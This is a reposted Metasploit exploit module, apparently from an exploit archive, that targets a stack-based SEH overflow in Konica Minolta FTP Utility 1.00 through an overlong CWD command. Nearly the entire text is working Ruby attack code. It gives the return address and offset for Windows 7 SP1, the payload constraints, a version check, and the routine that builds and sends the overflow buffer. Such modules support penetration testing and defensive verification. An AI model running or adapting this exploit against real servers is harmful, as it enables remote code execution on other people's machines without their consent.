Konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH Overflow
Posted on 19 September 2015
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Ftp include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH Overflow', 'Description' => %q{ This module exploits an SEH overflow in Konica Minolta FTP Server 1.00. Konica Minolta FTP fails to check input size when parsing 'CWD' commands, which leads to an SEH overflow. Konica FTP allows anonymous access by default; valid credentials are typically unnecessary to exploit this vulnerability. }, 'Author' => [ 'Shankar Damodaran', # stack buffer overflow dos p.o.c 'Muhamad Fadzil Ramli <mind1355[at]gmail.com>' # seh overflow, metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'EBD', '37908' ] ], 'Privileged' => false, 'Payload' => { 'Space' => 1500, 'BadChars' => "x00x0ax2fx5c", 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 7 SP1 x86', { 'Ret' => 0x12206d9d, # ppr - KMFtpCM.dll 'Offset' => 1037 } ] ], 'DisclosureDate' => 'Aug 23 2015', 'DefaultTarget' => 0)) end def check connect disconnect if banner =~ /FTP Utility FTP server (Version 1.00)/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def exploit connect_login buf = rand_text(target['Offset']) buf << generate_seh_record(target.ret) buf << payload.encoded buf << rand_text(3000) print_status("Sending exploit buffer...") send_cmd(['CWD', buf], false) # this will automatically put a space between 'CWD' and our attack string handler disconnect end end
